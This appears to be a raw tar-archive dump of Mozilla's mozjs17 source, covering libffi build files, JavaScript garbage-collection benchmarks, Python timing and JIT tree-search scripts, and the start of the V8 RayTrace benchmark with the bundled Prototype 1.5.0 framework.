src/sparc/$(DEPDIR)/$(am__dirstamp) -rm -f src/sparc/$(am__dirstamp) -rm -f src/x86/$(DEPDIR)/$(am__dirstamp) -rm -f src/x86/$(am__dirstamp) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-recursive clean-am: clean-aminfo clean-generic clean-libLTLIBRARIES \ clean-libtool clean-noinstLTLIBRARIES mostlyclean-am distclean: distclean-recursive -rm -f $(am__CONFIG_DISTCLEAN_FILES) -rm -rf src/$(DEPDIR) src/alpha/$(DEPDIR) src/arm/$(DEPDIR) src/avr32/$(DEPDIR) src/cris/$(DEPDIR) src/frv/$(DEPDIR) src/ia64/$(DEPDIR) src/m32r/$(DEPDIR) src/m68k/$(DEPDIR) src/mips/$(DEPDIR) src/moxie/$(DEPDIR) src/pa/$(DEPDIR) src/powerpc/$(DEPDIR) src/s390/$(DEPDIR) src/sh/$(DEPDIR) src/sh64/$(DEPDIR) src/sparc/$(DEPDIR) src/x86/$(DEPDIR) -rm -f Makefile distclean-am: clean-am distclean-compile distclean-generic \ distclean-hdr distclean-libtool distclean-tags dvi: dvi-recursive dvi-am: $(DVIS) html: html-recursive html-am: $(HTMLS) info: info-recursive info-am: $(INFO_DEPS) install-data-am: install-info-am install-pkgconfigDATA install-dvi: install-dvi-recursive install-dvi-am: $(DVIS) @$(NORMAL_INSTALL) test -z "$(dvidir)" || $(MKDIR_P) "$(DESTDIR)$(dvidir)" @list='$(DVIS)'; test -n "$(dvidir)" || list=; \ for p in $$list; do \ if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \ echo "$$d$$p"; \ done | $(am__base_list) | \ while read files; do \ echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(dvidir)'"; \ $(INSTALL_DATA) $$files "$(DESTDIR)$(dvidir)" || exit $$?; \ done install-exec-am: install-libLTLIBRARIES install-html-am: $(HTMLS) @$(NORMAL_INSTALL) test -z "$(htmldir)" || $(MKDIR_P) "$(DESTDIR)$(htmldir)" @list='$(HTMLS)'; list2=; test -n "$(htmldir)" || list=; \ for p in $$list; do \ if test -f "$$p" || test -d "$$p"; then d=; else d="$(srcdir)/"; fi; \ $(am__strip_dir) \ if test -d "$$d$$p"; then \ echo " $(MKDIR_P) '$(DESTDIR)$(htmldir)/$$f'"; \ $(MKDIR_P) "$(DESTDIR)$(htmldir)/$$f" || exit 1; \ echo " $(INSTALL_DATA) '$$d$$p'/* '$(DESTDIR)$(htmldir)/$$f'"; \ $(INSTALL_DATA) "$$d$$p"/* "$(DESTDIR)$(htmldir)/$$f" || exit $$?; \ else \ list2="$$list2 $$d$$p"; \ fi; \ done; \ test -z "$$list2" || { echo "$$list2" | $(am__base_list) | \ while read files; do \ echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(htmldir)'"; \ $(INSTALL_DATA) $$files "$(DESTDIR)$(htmldir)" || exit $$?; \ done; } install-info: install-info-recursive install-info-am: $(INFO_DEPS) @$(NORMAL_INSTALL) test -z "$(infodir)" || $(MKDIR_P) "$(DESTDIR)$(infodir)" @srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \ list='$(INFO_DEPS)'; test -n "$(infodir)" || list=; \ for file in $$list; do \ case $$file in \ $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \ esac; \ if test -f $$file; then d=.; else d=$(srcdir); fi; \ file_i=`echo "$$file" | sed 's|\.info$$||;s|$$|.i|'`; \ for ifile in $$d/$$file $$d/$$file-[0-9] $$d/$$file-[0-9][0-9] \ $$d/$$file_i[0-9] $$d/$$file_i[0-9][0-9] ; do \ if test -f $$ifile; then \ echo "$$ifile"; \ else : ; fi; \ done; \ done | $(am__base_list) | \ while read files; do \ echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(infodir)'"; \ $(INSTALL_DATA) $$files "$(DESTDIR)$(infodir)" || exit $$?; done @$(POST_INSTALL) @if (install-info --version && \ install-info --version 2>&1 | sed 1q | grep -i -v debian) >/dev/null 2>&1; then \ list='$(INFO_DEPS)'; test -n "$(infodir)" || list=; \ for file in $$list; do \ relfile=`echo "$$file" | sed 's|^.*/||'`; \ echo " install-info --info-dir='$(DESTDIR)$(infodir)' '$(DESTDIR)$(infodir)/$$relfile'";\ install-info --info-dir="$(DESTDIR)$(infodir)" "$(DESTDIR)$(infodir)/$$relfile" || :;\ done; \ else : ; fi install-man: install-pdf-am: $(PDFS) @$(NORMAL_INSTALL) test -z "$(pdfdir)" || $(MKDIR_P) "$(DESTDIR)$(pdfdir)" @list='$(PDFS)'; test -n "$(pdfdir)" || list=; \ for p in $$list; do \ if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \ echo "$$d$$p"; \ done | $(am__base_list) | \ while read files; do \ echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(pdfdir)'"; \ $(INSTALL_DATA) $$files "$(DESTDIR)$(pdfdir)" || exit $$?; done install-ps: install-ps-recursive install-ps-am: $(PSS) @$(NORMAL_INSTALL) test -z "$(psdir)" || $(MKDIR_P) "$(DESTDIR)$(psdir)" @list='$(PSS)'; test -n "$(psdir)" || list=; \ for p in $$list; do \ if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \ echo "$$d$$p"; \ done | $(am__base_list) | \ while read files; do \ echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(psdir)'"; \ $(INSTALL_DATA) $$files "$(DESTDIR)$(psdir)" || exit $$?; done installcheck-am: maintainer-clean: maintainer-clean-recursive -rm -f $(am__CONFIG_DISTCLEAN_FILES) -rm -rf $(top_srcdir)/autom4te.cache -rm -rf src/$(DEPDIR) src/alpha/$(DEPDIR) src/arm/$(DEPDIR) src/avr32/$(DEPDIR) src/cris/$(DEPDIR) src/frv/$(DEPDIR) src/ia64/$(DEPDIR) src/m32r/$(DEPDIR) src/m68k/$(DEPDIR) src/mips/$(DEPDIR) src/moxie/$(DEPDIR) src/pa/$(DEPDIR) src/powerpc/$(DEPDIR) src/s390/$(DEPDIR) src/sh/$(DEPDIR) src/sh64/$(DEPDIR) src/sparc/$(DEPDIR) src/x86/$(DEPDIR) -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-aminfo \ maintainer-clean-generic maintainer-clean-vti mostlyclean: mostlyclean-recursive mostlyclean-am: mostlyclean-aminfo mostlyclean-compile \ mostlyclean-generic mostlyclean-libtool mostlyclean-vti pdf: pdf-recursive pdf-am: $(PDFS) ps: ps-recursive ps-am: $(PSS) uninstall-am: uninstall-dvi-am uninstall-html-am uninstall-info-am \ uninstall-libLTLIBRARIES uninstall-pdf-am \ uninstall-pkgconfigDATA uninstall-ps-am .MAKE: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) all \ ctags-recursive install-am install-strip tags-recursive .PHONY: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) CTAGS GTAGS \ all all-am am--refresh check check-am clean clean-aminfo \ clean-generic clean-libLTLIBRARIES clean-libtool \ clean-noinstLTLIBRARIES ctags ctags-recursive dist dist-all \ dist-bzip2 dist-gzip dist-info dist-lzma dist-shar dist-tarZ \ dist-xz dist-zip distcheck distclean distclean-compile \ distclean-generic distclean-hdr distclean-libtool \ distclean-tags distcleancheck distdir distuninstallcheck dvi \ dvi-am html html-am info info-am install install-am \ install-data install-data-am install-dvi install-dvi-am \ install-exec install-exec-am install-html install-html-am \ install-info install-info-am install-libLTLIBRARIES \ install-man install-pdf install-pdf-am install-pkgconfigDATA \ install-ps install-ps-am install-strip installcheck \ installcheck-am installdirs installdirs-am maintainer-clean \ maintainer-clean-aminfo maintainer-clean-generic \ maintainer-clean-vti mostlyclean mostlyclean-aminfo \ mostlyclean-compile mostlyclean-generic mostlyclean-libtool \ mostlyclean-vti pdf pdf-am ps ps-am tags tags-recursive \ uninstall uninstall-am uninstall-dvi-am uninstall-html-am \ uninstall-info-am uninstall-libLTLIBRARIES uninstall-pdf-am \ uninstall-pkgconfigDATA uninstall-ps-am # No install-html or install-pdf support in automake yet .PHONY: install-html install-pdf install-html: install-pdf: # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: mozjs17.0.0/js/src/ctypes/libffi/configure.host0000664000175000017500000000041312106270662021423 0ustar sstanglsstangl# configure.host # # This shell script handles all host based configuration for libffi. # # THIS TABLE IS SORTED. KEEP IT THAT WAY. case "${host}" in frv*-elf) LDFLAGS=`echo $LDFLAGS | sed "s/\-B[^ ]*libgloss\/frv\///"`\ -B`pwd`/../libgloss/frv/ ;; esac mozjs17.0.0/js/src/metrics/0000775000175000017500000000000012106270663015452 5ustar sstanglsstanglmozjs17.0.0/js/src/metrics/gc/0000775000175000017500000000000012106270663016043 5ustar sstanglsstanglmozjs17.0.0/js/src/metrics/gc/tests/0000775000175000017500000000000012106270663017205 5ustar sstanglsstanglmozjs17.0.0/js/src/metrics/gc/tests/loops.js0000664000175000017500000000070012106270663020674 0ustar sstanglsstangl//Measure plain GC. var t = []; var N = 500000 for(var i = 0; i < N; i++) t[i] = {}; gc() t = []; gc(); for(var i = 0; i < N; i++) t[i] = ({}); gc(); t = []; gc(); for(var i = 0; i < N; i++) t[i] = "asdf"; gc(); t = []; gc(); for(var i = 0; i < N; i++) t[i] = 1.12345; gc(); t=[]; gc(); for(var i = 0; i < N; i++) { t[i] = ({}); if (i != 0) t[i].a = t[i-1]; } gc(); t = []; gc(); mozjs17.0.0/js/src/metrics/gc/tests/clock.js0000664000175000017500000000123512106270663020637 0ustar sstanglsstangl//Shell version of Clock Benchmark: https://bug548388.bugzilla.mozilla.org/attachment.cgi?id=434576 var t0; var tl; function alloc(dt) { if (dt > 100) dt = 100; for (var i = 0; i < dt * 1000; ++i) { var o = new String("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); } } function cycle() { if (!running) return; var t1 = new Date; if (t0 == undefined) t0 = t1; if (tl != undefined) { var dt = t1 - tl; alloc(dt); } tl = t1; if(t1 - t0 > (5 * 1000)) running = false; } var running = true; while(running) cycle(); mozjs17.0.0/js/src/metrics/gc/tests/objGraph.js0000664000175000017500000000100612106270663021274 0ustar sstanglsstangltest(); function test() { function generate_big_object_graph() { var root = {}; f(root, 17); return root; function f(parent, depth) { if (depth == 0) return; --depth; f(parent.a = {}, depth); f(parent.b = {}, depth); } } function f(obj) { with (obj) return arguments; } for(var i = 0; i != 10; ++i) { gc(); var x = null; x = f(generate_big_object_graph()); gc(); //all used x = null; gc(); //all free } } mozjs17.0.0/js/src/metrics/gc/tests/dslots.js0000664000175000017500000000130012106270663021045 0ustar sstanglsstangl//Benchmark to measure overhead of dslots allocation and deallocation function Object0() {}; function Object1() { this.a=1; }; function Object2() { this.a=1; this.b=1; }; function Object3() { this.a=1; this.b=1; this.c=1; }; function Object4() { this.a=1; this.b=1; this.c=1; this.d=1; }; function Object5() { this.a=1; this.b=1; this.c=1; this.d=1; this.e=1; }; function test() { var N = 1e5; gc(); for(var i = 0; i<=5; i++) { var tmp = i==0 ? Object0 : i==1 ? Object1 : i==2 ? Object2 : i==3 ? Object3 : i==4 ? Object4 : Object5; for (var j = 0; j != N; j++) { var a = new tmp(); } gc(); } } for(var i = 0; i<=5; i++) { test(); } mozjs17.0.0/js/src/metrics/gc/gc-test.py0000664000175000017500000001333312106270663017766 0ustar sstanglsstangl# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # Works with python2.6 import datetime, os, re, sys, traceback import math, string, copy import subprocess from subprocess import * from operator import itemgetter class Test: def __init__(self, path, name): self.path = path self.name = name @classmethod def from_file(cls, path, name, options): return cls(path, name) def find_tests(dir, substring = None): ans = [] for dirpath, dirnames, filenames in os.walk(dir): if dirpath == '.': continue for filename in filenames: if not filename.endswith('.js'): continue test = os.path.join(dirpath, filename) if substring is None or substring in os.path.relpath(test, dir): ans.append([test, filename]) return ans def get_test_cmd(path): return [ JS, '-f', path ] def avg(seq): return sum(seq) / len(seq) def stddev(seq, mean): diffs = ((float(item) - mean) ** 2 for item in seq) return math.sqrt(sum(diffs) / len(seq)) def run_test(test): env = os.environ.copy() env['MOZ_GCTIMER'] = 'stderr' cmd = get_test_cmd(test.path) total = [] mark = [] sweep = [] close_fds = sys.platform != 'win32' p = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=close_fds, env=env) out, err = p.communicate() out, err = out.decode(), err.decode() float_array = [float(_) for _ in err.split()] if len(float_array) == 0: print('Error: No data from application. Configured with --enable-gctimer?') sys.exit(1) for i, currItem in enumerate(float_array): if (i % 3 == 0): total.append(currItem) else: if (i % 3 == 1): mark.append(currItem) else: sweep.append(currItem) return max(total), avg(total), max(mark), avg(mark), max(sweep), avg(sweep) def run_tests(tests, test_dir): bench_map = {} try: for i, test in enumerate(tests): filename_str = '"%s"' % test.name TMax, TAvg, MMax, MAvg, SMax, SAvg = run_test(test) bench_map[test.name] = [TMax, TAvg, MMax, MAvg, SMax, SAvg] fmt = '%20s: {"TMax": %4.1f, "TAvg": %4.1f, "MMax": %4.1f, "MAvg": %4.1f, "SMax": %4.1f, "SAvg": %4.1f}' if (i != len(tests) - 1): fmt += ',' print(fmt %(filename_str ,TMax, TAvg, MMax, MAvg, SMax, MAvg)) except KeyboardInterrupt: print('fail') return dict((filename, dict(TMax=TMax, TAvg=TAvg, MMax=MMax, MAvg=MAvg, SMax=SMax, SAvg=SAvg)) for filename, (TMax, TAvg, MMax, MAvg, SMax, SAvg) in bench_map.iteritems()) def compare(current, baseline): percent_speedups = [] for key, current_result in current.iteritems(): try: baseline_result = baseline[key] except KeyError: print key, 'missing from baseline' continue val_getter = itemgetter('TMax', 'TAvg', 'MMax', 'MAvg', 'SMax', 'SAvg') BTMax, BTAvg, BMMax, BMAvg, BSMax, BSAvg = val_getter(baseline_result) CTMax, CTAvg, CMMax, CMAvg, CSMax, CSAvg = val_getter(current_result) fmt = '%30s: %s' if CTAvg <= BTAvg: speedup = (CTAvg / BTAvg - 1) * 100 result = 'faster: %6.2f < baseline %6.2f (%+6.2f%%)' % \ (CTAvg, BTAvg, speedup) percent_speedups.append(speedup) else: slowdown = (CTAvg / BTAvg - 1) * 100 result = 'SLOWER: %6.2f > baseline %6.2f (%+6.2f%%) ' % \ (CTAvg, BTAvg, slowdown) percent_speedups.append(slowdown) print '%30s: %s' % (key, result) if percent_speedups: print 'Average speedup: %.2f%%' % avg(percent_speedups) def try_import_json(): try: import json return json except ImportError: try: import simplejson as json return json except ImportError: pass if __name__ == '__main__': script_path = os.path.abspath(__file__) script_dir = os.path.dirname(script_path) test_dir = os.path.join(script_dir, 'tests') from optparse import OptionParser op = OptionParser(usage='%prog [options] JS_SHELL [TESTS]') op.add_option('-b', '--baseline', metavar='JSON_PATH', dest='baseline_path', help='json file with baseline values to ' 'compare against') (OPTIONS, args) = op.parse_args() if len(args) < 1: op.error('missing JS_SHELL argument') # We need to make sure we are using backslashes on Windows. JS, test_args = os.path.normpath(args[0]), args[1:] test_list = [] bench_map = {} test_list = find_tests(test_dir) if not test_list: print >> sys.stderr, "No tests found matching command line arguments." sys.exit(0) test_list = [ Test.from_file(tst, name, OPTIONS) for tst, name in test_list ] if OPTIONS.baseline_path: json = try_import_json() if not json: print('You need a json lib for baseline comparison') sys.exit(1) try: print("{") bench_map = run_tests(test_list, test_dir) print("}") except OSError: if not os.path.exists(JS): print >> sys.stderr, "JS shell argument: file does not exist: '%s'"%JS sys.exit(1) else: raise if OPTIONS.baseline_path: baseline_map = [] fh = open(OPTIONS.baseline_path, 'r') baseline_map = json.load(fh) fh.close() compare(current=bench_map, baseline=baseline_map) mozjs17.0.0/js/src/metrics/gc/README.txt0000664000175000017500000000014312106270663017537 0ustar sstanglsstanglUsage: Requirements: 1) The shell has to be compiled with --enable-gctimer Tested with python2.6 mozjs17.0.0/js/src/metrics/jint/0000775000175000017500000000000012106270663016416 5ustar sstanglsstanglmozjs17.0.0/js/src/metrics/jint/treesearch.py0000664000175000017500000003321412106270663021120 0ustar sstanglsstangl# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # vim: set ts=4 sw=4 tw=99 et: import os, re import tempfile import subprocess import sys, math import datetime import random def realpath(k): return os.path.realpath(os.path.normpath(k)) class UCTNode: def __init__(self, loop): self.children = None self.loop = loop self.visits = 1 self.score = 0 def addChild(self, child): if self.children == None: self.children = [] self.children.append(child) def computeUCB(self, coeff): return (self.score / self.visits) + math.sqrt(coeff / self.visits) class UCT: def __init__(self, benchmark, bestTime, enableLoops, loops, fd, playouts): self.bm = benchmark self.fd = fd self.numPlayouts = playouts self.maxNodes = self.numPlayouts * 20 self.loops = loops self.enableLoops = enableLoops self.maturityThreshold = 20 self.originalBest = bestTime self.bestTime = bestTime self.bias = 20 self.combos = [] self.zobrist = { } random.seed() def expandNode(self, node, pending): for loop in pending: node.addChild(UCTNode(loop)) self.numNodes += 1 if self.numNodes >= self.maxNodes: return False return True def findBestChild(self, node): coeff = self.bias * math.log(node.visits) bestChild = None bestUCB = -float('Infinity') for child in node.children: ucb = child.computeUCB(coeff) if ucb >= bestUCB: bestUCB = ucb bestChild = child return child def playout(self, history): queue = [] for i in range(0, len(self.loops)): queue.append(random.randint(0, 1)) for node in history: queue[node.loop] = not self.enableLoops zash = 0 for i in range(0, len(queue)): if queue[i]: zash |= (1 << i) if zash in self.zobrist: return self.zobrist[zash] self.bm.generateBanList(self.loops, queue) result = self.bm.treeSearchRun(self.fd, ['-m', '-j'], 3) self.zobrist[zash] = result return result def step(self, loopList): node = self.root pending = loopList[:] history = [node] while True: # If this is a leaf node... if node.children == None: # And the leaf node is mature... if node.visits >= self.maturityThreshold: # If the node can be expanded, keep spinning. if self.expandNode(node, pending) and node.children != None: continue # Otherwise, this is a leaf node. Run a playout. score = self.playout(history) break # Find the best child. node = self.findBestChild(node) history.append(node) pending.remove(node.loop) # Normalize the score. origScore = score score = (self.originalBest - score) / self.originalBest for node in history: node.visits += 1 node.score += score if int(origScore) < int(self.bestTime): print('New best score: {0:f}ms'.format(origScore)) self.combos = [history] self.bestTime = origScore elif int(origScore) == int(self.bestTime): self.combos.append(history) def run(self): loopList = [i for i in range(0, len(self.loops))] self.numNodes = 1 self.root = UCTNode(-1) self.expandNode(self.root, loopList) for i in range(0, self.numPlayouts): self.step(loopList) # Build the expected combination vector. combos = [ ] for combo in self.combos: vec = [ ] for i in range(0, len(self.loops)): vec.append(int(self.enableLoops)) for node in combo: vec[node.loop] = int(not self.enableLoops) combos.append(vec) return [self.bestTime, combos] class Benchmark: def __init__(self, JS, fname): self.fname = fname self.JS = JS self.stats = { } self.runList = [ ] def run(self, fd, eargs): args = [self.JS] args.extend(eargs) args.append(fd.name) return subprocess.check_output(args).decode() # self.stats[name] = { } # self.runList.append(name) # for line in output.split('\n'): # m = re.search('line (\d+): (\d+)', line) # if m: # self.stats[name][int(m.group(1))] = int(m.group(2)) # else: # m = re.search('total: (\d+)', line) # if m: # self.stats[name]['total'] = m.group(1) def winnerForLine(self, line): best = self.runList[0] bestTime = self.stats[best][line] for run in self.runList[1:]: x = self.stats[run][line] if x < bestTime: best = run bestTime = x return best def chart(self): sys.stdout.write('{0:7s}'.format('')) sys.stdout.write('{0:15s}'.format('line')) for run in self.runList: sys.stdout.write('{0:15s}'.format(run)) sys.stdout.write('{0:15s}\n'.format('best')) for c in self.counters: sys.stdout.write('{0:10d}'.format(c)) for run in self.runList: sys.stdout.write('{0:15d}'.format(self.stats[run][c])) sys.stdout.write('{0:12s}'.format('')) sys.stdout.write('{0:15s}'.format(self.winnerForLine(c))) sys.stdout.write('\n') def preprocess(self, lines, onBegin, onEnd): stack = [] counters = [] rd = open(self.fname, 'rt') for line in rd: if re.search('\/\* BEGIN LOOP \*\/', line): stack.append([len(lines), len(counters)]) counters.append([len(lines), 0]) onBegin(lines, len(lines)) elif re.search('\/\* END LOOP \*\/', line): old = stack.pop() onEnd(lines, old[0], len(lines)) counters[old[1]][1] = len(lines) else: lines.append(line) return [lines, counters] def treeSearchRun(self, fd, args, count = 5): total = 0 for i in range(0, count): output = self.run(fd, args) total += int(output) return total / count def generateBanList(self, counters, queue): if os.path.exists('/tmp/permabans'): os.unlink('/tmp/permabans') fd = open('/tmp/permabans', 'wt') for i in range(0, len(counters)): for j in range(counters[i][0], counters[i][1] + 1): fd.write('{0:d} {1:d}\n'.format(j, int(queue[i]))) fd.close() def internalExhaustiveSearch(self, params): counters = params['counters'] # iterative algorithm to explore every combination ncombos = 2 ** len(counters) queue = [] for c in counters: queue.append(0) fd = params['fd'] bestTime = float('Infinity') bestCombos = [] i = 0 while i < ncombos: temp = i for j in range(0, len(counters)): queue[j] = temp & 1 temp = temp >> 1 self.generateBanList(counters, queue) t = self.treeSearchRun(fd, ['-m', '-j']) if (t < bestTime): bestTime = t bestCombos = [queue[:]] print('New best time: {0:f}ms'.format(t)) elif int(t) == int(bestTime): bestCombos.append(queue[:]) i = i + 1 return [bestTime, bestCombos] def internalTreeSearch(self, params): fd = params['fd'] methodTime = params['methodTime'] tracerTime = params['tracerTime'] combinedTime = params['combinedTime'] counters = params['counters'] # Build the initial loop data. # If the method JIT already wins, disable tracing by default. # Otherwise, enable tracing by default. if methodTime < combinedTime: enableLoops = True else: enableLoops = False enableLoops = False uct = UCT(self, combinedTime, enableLoops, counters[:], fd, 50000) return uct.run() def treeSearch(self): fd, counters = self.ppForTreeSearch() os.system("cat " + fd.name + " > /tmp/k.js") if os.path.exists('/tmp/permabans'): os.unlink('/tmp/permabans') methodTime = self.treeSearchRun(fd, ['-m']) tracerTime = self.treeSearchRun(fd, ['-j']) combinedTime = self.treeSearchRun(fd, ['-m', '-j']) #Get a rough estimate of how long this benchmark will take to fully compute. upperBound = max(methodTime, tracerTime, combinedTime) upperBound *= 2 ** len(counters) upperBound *= 5 # Number of runs treeSearch = False if (upperBound < 1000): print('Estimating {0:d}ms to test, so picking exhaustive '.format(int(upperBound)) + 'search.') else: upperBound = int(upperBound / 1000) delta = datetime.timedelta(seconds = upperBound) if upperBound < 180: print('Estimating {0:d}s to test, so picking exhaustive '.format(int(upperBound))) else: print('Estimating {0:s} to test, so picking tree search '.format(str(delta))) treeSearch = True best = min(methodTime, tracerTime, combinedTime) params = { 'fd': fd, 'counters': counters, 'methodTime': methodTime, 'tracerTime': tracerTime, 'combinedTime': combinedTime } print('Method JIT: {0:d}ms'.format(int(methodTime))) print('Tracing JIT: {0:d}ms'.format(int(tracerTime))) print('Combined: {0:d}ms'.format(int(combinedTime))) if 1 and treeSearch: results = self.internalTreeSearch(params) else: results = self.internalExhaustiveSearch(params) bestTime = results[0] bestCombos = results[1] print('Search found winning time {0:d}ms!'.format(int(bestTime))) print('Combos at this time: {0:d}'.format(len(bestCombos))) #Find loops that traced every single time for i in range(0, len(counters)): start = counters[i][0] end = counters[i][1] n = len(bestCombos) for j in bestCombos: n -= j[i] print('\tloop @ {0:d}-{1:d} traced {2:d}% of the time'.format( start, end, int(n / len(bestCombos) * 100))) def ppForTreeSearch(self): def onBegin(lines, lineno): lines.append('GLOBAL_THINGY = 1;\n') def onEnd(lines, old, lineno): lines.append('GLOBAL_THINGY = 1;\n') lines = ['var JINT_START_TIME = Date.now();\n', 'var GLOBAL_THINGY = 0;\n'] lines, counters = self.preprocess(lines, onBegin, onEnd) fd = tempfile.NamedTemporaryFile('wt') for line in lines: fd.write(line) fd.write('print(Date.now() - JINT_START_TIME);\n') fd.flush() return [fd, counters] def preprocessForLoopCounting(self): def onBegin(lines, lineno): lines.append('JINT_TRACKER.line_' + str(lineno) + '_start = Date.now();\n') def onEnd(lines, old, lineno): lines.append('JINT_TRACKER.line_' + str(old) + '_end = Date.now();\n') lines.append('JINT_TRACKER.line_' + str(old) + '_total += ' + \ 'JINT_TRACKER.line_' + str(old) + '_end - ' + \ 'JINT_TRACKER.line_' + str(old) + '_start;\n') lines, counters = self.preprocess(onBegin, onEnd) fd = tempfile.NamedTemporaryFile('wt') fd.write('var JINT_TRACKER = { };\n') for c in counters: fd.write('JINT_TRACKER.line_' + str(c) + '_start = 0;\n') fd.write('JINT_TRACKER.line_' + str(c) + '_end = 0;\n') fd.write('JINT_TRACKER.line_' + str(c) + '_total = 0;\n') fd.write('JINT_TRACKER.begin = Date.now();\n') for line in lines: fd.write(line) fd.write('JINT_TRACKER.total = Date.now() - JINT_TRACKER.begin;\n') for c in self.counters: fd.write('print("line ' + str(c) + ': " + JINT_TRACKER.line_' + str(c) + '_total);') fd.write('print("total: " + JINT_TRACKER.total);') fd.flush() return fd if __name__ == '__main__': script_path = os.path.abspath(__file__) script_dir = os.path.dirname(script_path) test_dir = os.path.join(script_dir, 'tests') lib_dir = os.path.join(script_dir, 'lib') # The [TESTS] optional arguments are paths of test files relative # to the jit-test/tests directory. from optparse import OptionParser op = OptionParser(usage='%prog [options] JS_SHELL test') (OPTIONS, args) = op.parse_args() if len(args) < 2: op.error('missing JS_SHELL and test argument') # We need to make sure we are using backslashes on Windows. JS = realpath(args[0]) test = realpath(args[1]) bm = Benchmark(JS, test) bm.treeSearch() # bm.preprocess() # bm.run('mjit', ['-m']) # bm.run('tjit', ['-j']) # bm.run('m+tjit', ['-m', '-j']) # bm.chart() mozjs17.0.0/js/src/metrics/jint/v8/0000775000175000017500000000000012106270663016753 5ustar sstanglsstanglmozjs17.0.0/js/src/metrics/jint/v8/raytrace.js0000664000175000017500000030166412106270663021135 0ustar sstanglsstangl// The ray tracer code in this file is written by Adam Burmister. It // is available in its original form from: // // http://labs.flog.nz.co/raytracer/ // // It has been modified slightly by Google to work as a standalone // benchmark, but the all the computational code remains // untouched. This file also contains a copy of the Prototype // JavaScript framework which is used by the ray tracer. var RayTrace = new BenchmarkSuite('RayTrace', 932666, [ new Benchmark('RayTrace', renderScene) ]); // Create dummy objects if we're not running in a browser. if (typeof document == 'undefined') { document = { }; window = { opera: null }; navigator = { userAgent: null, appVersion: "" }; } // ------------------------------------------------------------------------ // ------------------------------------------------------------------------ /* Prototype JavaScript framework, version 1.5.0 * (c) 2005-2007 Sam Stephenson * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://prototype.conio.net/ * /*--------------------------------------------------------------------------*/ //-------------------- var Prototype = { Version: '1.5.0', BrowserFeatures: { XPath: !!document.evaluate }, ScriptFragment: '(?:)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) { return x } } var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } } } var Abstract = new Object(); Object.extend = function(destination, source) { for (var property in source) { destination[property] = source[property]; } return destination; } Object.extend(Object, { inspect: function(object) { try { if (object === undefined) return 'undefined'; if (object === null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; } }, keys: function(object) { var keys = []; for (var property in object) keys.push(property); return keys; }, values: function(object) { var values = []; for (var property in object) values.push(object[property]); return values; }, clone: function(object) { return Object.extend({}, object); } }); Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); } } Function.prototype.bindAsEventListener = function(object) { var __method = this, args = $A(arguments), object = args.shift(); return function(event) { return __method.apply(object, [( event || window.event)].concat(args).concat($A(arguments))); } } Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; } }); var Try = { these: function() { var returnValue; for (var i = 0, length = arguments.length; i < length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; } } /*--------------------------------------------------------------------------*/ var PeriodicalExecuter = Class.create(); PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, stop: function() { if (!this.timer) return; clearInterval(this.timer); this.timer = null; }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(this); } finally { this.currentlyExecuting = false; } } } } String.interpret = function(value){ return value == null ? '' : String(value); } Object.extend(String.prototype, { gsub: function(pattern, replacement) { var result = '', source = this, match; replacement = arguments.callee.prepareReplacement(replacement); while (source.length > 0) { if (match = source.match(pattern)) { result += source.slice(0, match.index); result += String.interpret(replacement(match)); source = source.slice(match.index + match[0].length); } else { result += source, source = ''; } } return result; }, sub: function(pattern, replacement, count) { replacement = this.gsub.prepareReplacement(replacement); count = count === undefined ? 1 : count; return this.gsub(pattern, function(match) { if (--count < 0) return match[0]; return replacement(match); }); }, scan: function(pattern, iterator) { this.gsub(pattern, iterator); return this; }, truncate: function(length, truncation) { length = length || 30; truncation = truncation === undefined ? '...' : truncation; return this.length > length ? this.slice(0, length - truncation.length) + truncation : this; }, strip: function() { return this.replace(/^\s+/, '').replace(/\s+$/, ''); }, stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(function(script) { return eval(script) }); 